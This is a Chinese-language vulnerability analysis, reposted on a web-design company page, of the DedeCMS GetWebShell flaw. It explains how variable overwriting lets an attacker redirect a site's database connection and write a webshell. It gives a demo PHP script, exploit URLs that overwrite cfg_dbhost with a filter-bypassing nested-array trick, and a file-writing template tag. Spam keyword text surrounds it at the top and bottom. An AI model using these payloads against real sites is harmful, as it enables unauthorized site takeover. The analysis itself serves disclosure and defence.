婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 網(wǎng)站建設(shè) > 建站知識 > 織夢DedeCMS GetWebShell漏洞分析報告

織夢DedeCMS GetWebShell漏洞分析報告

POST TIME:2017-12-15 22:54

這是對前段時間爆出的GetWebShell漏洞的分析報告,不過織夢dedecms官方已經(jīng)放出了補(bǔ)丁包,打了最新補(bǔ)丁的用戶不會受到該漏洞的威脅,下文轉(zhuǎn)自比特網(wǎng) 安全寶技術(shù)專家 IMIYOO。

  事件背景:

  近日很多網(wǎng)站被爆遭到入侵,經(jīng)過安全寶安全實驗室研究分析,這些網(wǎng)站使用的都是DedeCms內(nèi)容管理系統(tǒng),DedeCMS爆出一個很嚴(yán)重的漏洞,攻擊者可以直接向服務(wù)器中寫入“一句話木馬”。

  DedeCMS的漏洞成因主要是由于變量覆蓋導(dǎo)致而成,攻擊者通過提交變量,覆蓋數(shù)據(jù)庫連接配置的全局變量,從而可以使被攻擊的網(wǎng)站反向連接攻擊者指定的數(shù)據(jù)庫,讀取指定的內(nèi)容,并在被攻擊的網(wǎng)站中直接寫入WebShell。從整個攻擊過程來看,這種攻擊利用方式也比較巧妙,避開了傳統(tǒng)的注入,破解,登錄后臺和上傳木馬的攻擊模式,攻擊者可以在未授權(quán)的前提下直接向網(wǎng)站目錄中寫入WebShell,從而控制網(wǎng)站,危害嚴(yán)重。

  隨著網(wǎng)站管理員的安全意識的逐漸提高,網(wǎng)絡(luò)安全設(shè)備的引入,模塊和程序的過濾;傳統(tǒng)的入侵模式也越來越捉襟見肘,從這次攻擊中,我們發(fā)現(xiàn)傳統(tǒng)的Web攻擊思想也在發(fā)生變換,它們正慢慢由正向攻擊向反向攻擊過渡,其實在系統(tǒng)的攻擊中,反向攻擊早就存在,攻擊者為了繞過防火墻一些列的前端過濾設(shè)備,利用木馬使被攻擊機(jī)器自己發(fā)起連向攻擊者機(jī)器的請求,而防火墻通常是不會攔截機(jī)器主動發(fā)現(xiàn)的連接,從而攻擊者很容易繞過了前端一系列的過濾和障礙。

  分析報告:

  下面我們一起來看下dede的漏洞原因,首先我們來看個變量覆蓋漏洞的原型基礎(chǔ):

  VulTest.php:

1
2
3
4
5
6
<?php
$anquanbao=”imiyoo_first”;
foreach($_GETas$key=>$value)
$$key=$value;
echo“\$anquanbao=”.$anquanbao;
?>

  攻擊者顯然通過$_GET提交變量覆蓋已經(jīng)定義的變量,效果如下圖:

攻擊前圖片

攻擊后圖片($anquanbao變量已經(jīng)被覆蓋)

  有了這個漏洞的基礎(chǔ),現(xiàn)在我們來看看Dede的漏洞詳細(xì)信息,漏洞主要發(fā)生在文件/plus/mytag_js.php中:

mytag_js.php

我們首先讀下這段代碼的處理流程,程序在開始會獲取用戶提交的$aid變量,如果需要顯示不需要顯示緩存內(nèi)容,則會從數(shù)據(jù)庫表’#@_mytag’中讀取記錄,并將讀取的$tagbody內(nèi)容以Dede模版形式寫入緩存文件中。

  在這里很顯然存在變量$aid的注入漏洞,但由于該表的內(nèi)容一般都為空,而且Dede對提交的單引號都會有過濾,基本屬于雞肋漏洞;但是如果結(jié)合變量覆蓋漏洞,攻擊者就可以利用該漏洞覆蓋數(shù)據(jù)庫配置文件的連接信息,將數(shù)據(jù)庫的連接重定向到攻擊者可以控制的一個數(shù)據(jù)庫,那么這樣攻擊者就能完全控制$tagbody的內(nèi)容,而且在DedeCMS文章管理系統(tǒng)中,模版中是可以嵌入PHP代碼,也就是說攻擊者可以執(zhí)行自己的PHP代碼,從而可以輕易地向服務(wù)器中寫入一句話木馬,達(dá)到攻擊的效果。

  在對漏洞進(jìn)行測試的時候,我們發(fā)現(xiàn)Dede產(chǎn)生變量覆蓋漏洞的代碼在/include/common.inc.php中,如下:

common.inc.php

通過這段代碼我們可以對程序中的任何變量進(jìn)行覆蓋,為了覆蓋數(shù)據(jù)庫配置文件中的變量,其實我們覆蓋$cfg_dbhost或$GLOBALS[cfg_dbhost]都可以,因此我們可以提交形如下面的測試代碼:

  Ø mytag_js.php?_GET[cfg_dbhost]=www.anquanbao.com

  Ø mytag_js.php?_GET[GLOBALS][cfg_dbhost]= www.anquanbao.com

  不過DedeCMS對這種形式的攻擊也是有防范,但只是對提交的變量中的鍵值進(jìn)行了判

  斷,代碼如下:

代碼

但是這個變量$_k只是對一維數(shù)據(jù)的鍵值進(jìn)行判斷,而Dede對變量的提取卻是支持多維的,如果攻擊者提交的是多維的變量就可以很容易繞過,為了繞過正則的檢測,同時達(dá)到覆蓋變量的效果;因此我們可以很容易想到$_COOKIE變量,更重要的是Dede也支持$_COOKIE提交變量,因此我們就可以得到如下的有效攻擊代碼:

  Ø mytag_js.php?_GET[_COOKIE][GLOBALS][cfg_dbhost]=www.anquanbao.com

  利用上面的代碼就可以繞過DedeCMS的正則檢測,同時可以覆蓋$GLOBALS[cfg_dbhost]變量。

  分析總結(jié):

  通過對上面的分析,那么現(xiàn)在我們就能很清楚整個攻擊流程:

  1 攻擊者會預(yù)先準(zhǔn)備一個MySQL數(shù)據(jù)庫,數(shù)據(jù)庫中包含有一個表明為’#@_mytag’的數(shù)據(jù)表,其中’#@’是待攻擊數(shù)據(jù)庫的表前綴,并在表中插入一條記錄來控制$tagbody的內(nèi)容,使其能夠?qū)懭胍痪湓捘抉R,而且Dede利用模版寫入一句話木馬的代碼如下:

  {dede:php}

  $fp = @fopen("test.php", \'a');

  @fwrite($fp, \'');

  echo "OK";

  @fclose($fp);

  {/dede:php}

  2 提交變量覆蓋語句讀取表中指定的內(nèi)容,即可在當(dāng)前路徑下寫入一句話木馬。

  鑒于很多使用DedeCMS的網(wǎng)站還沒有修補(bǔ)該漏洞,因此在這里就不公布危害性攻擊代碼。

  安全建議:

  許多程序員在對$_GET,$_POST或$_COOKIE獲取的變量處理中,進(jìn)行了對多維數(shù)組變量的遞歸解析,但是卻在過濾的時候并沒有對每一維的鍵值進(jìn)行判斷和檢測;例如,在本次爆出的Dede的0day,程序員就只考慮到檢測二維數(shù)組的鍵值,但是攻擊者卻可以通過提交三維數(shù)組生成COOKIE變量輕易繞過。因此程序員如果在保證程序能夠?qū)Χ嗑S變量進(jìn)行解析的時候,同時也是需要對每一維的鍵值進(jìn)行有效檢測和判斷。



收縮
  • 微信客服
  • 微信二維碼
  • 電話咨詢

  • 400-1100-266
主站蜘蛛池模板: 宣城市| 紫云| 牙克石市| 道真| 自治县| 长顺县| 渭南市| 镶黄旗| 饶河县| 建始县| 衡阳市| 武平县| 阿拉善左旗| 崇州市| 丹巴县| 遂平县| 汽车| 江油市| 贡觉县| 琼结县| 武义县| 榆林市| 朝阳区| 湄潭县| 松潘县| 荆门市| 桓台县| 贵溪市| 鄂托克旗| 通化市| 沙田区| 金门县| 厦门市| 汨罗市| 宁河县| 安吉县| 岐山县| 汉沽区| 灵璧县| 溧阳市| 宁都县|